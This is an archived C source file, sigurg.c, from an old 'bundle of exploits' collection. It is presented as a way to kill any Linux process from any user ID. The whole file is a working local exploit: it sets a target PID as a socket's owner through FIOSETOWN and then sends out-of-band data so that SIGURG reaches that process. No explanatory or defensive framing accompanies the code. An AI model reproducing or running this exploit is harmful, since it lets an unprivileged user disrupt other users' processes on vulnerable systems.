home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / sigurg.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  2KB  |  57 lines

  1. /* Kill any Linux process from any UID... Supposedly...*/
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <unistd.h>
  7. #include <sys/types.h>
  8. #include <sys/ioctl.h>
  9. #include <sys/socket.h>
  10. #include <netinet/in.h>
  11.  
  12. #define PORT 8765  /* just a random hopefully unused TCP port */
  13.  
  14. #define ERROR_CHECK(x, msg) do { \
  15.         if ((x) == -1) { \
  16.                 perror(msg); \
  17.                 exit(1); \
  18.         } \
  19. } while (0)
  20.  
  21. int main(int argc, char *argv[])
  22. {
  23.         int s, s1, child_pid;
  24.         struct sockaddr_in addr;
  25.         int one = 1;
  26.         char c = 0;
  27.  
  28.         if (argc != 2) {
  29.                 fprintf(stderr, "usage: %s pid\n", argv[0]);
  30.                 exit(1);
  31.         }
  32.         ERROR_CHECK( s = socket(AF_INET, SOCK_STREAM, 0), "socket" );
  33.         ERROR_CHECK( setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one), "setsockopt" );
  34.         memset(&addr, 0, sizeof addr);
  35.         addr.sin_family = AF_INET;
  36.         addr.sin_port = htons(PORT);
  37.         addr.sin_addr.s_addr = INADDR_ANY;
  38.         ERROR_CHECK( bind(s, (struct sockaddr *) &addr, sizeof addr), "bind" );
  39.         ERROR_CHECK( listen(s, 1), "listen" );
  40.         ERROR_CHECK( child_pid = fork(), "fork" );
  41.         if (child_pid == 0) {  /* child */
  42.                 int pid_to_kill = atoi(argv[1]);
  43.  
  44.                 ERROR_CHECK( s1 = socket(AF_INET, SOCK_STREAM, 0), "child socket" );
  45.                 ERROR_CHECK( connect(s1, (struct sockaddr *) &addr, sizeof addr), "child connect" );
  46.                 ERROR_CHECK( ioctl(s1, FIOSETOWN, &pid_to_kill), "child ioctl" );  /* !!! */
  47.                 ERROR_CHECK( write(s1, &c, 1), "child write" );  /* wake up blocked parent */
  48.                 ERROR_CHECK( read(s1, &c, 1), "child read" );
  49.                 _exit(0);
  50.         }
  51.         ERROR_CHECK( s1 = accept(s, NULL, NULL), "accept" );
  52.         ERROR_CHECK( read(s1, &c, 1), "read" );  /* block until child is ready */
  53.         ERROR_CHECK( send(s1, &c, 1, MSG_OOB), "send" );  /* this will send SIGURG */
  54.         return 0;
  55. }
  56.  
  57.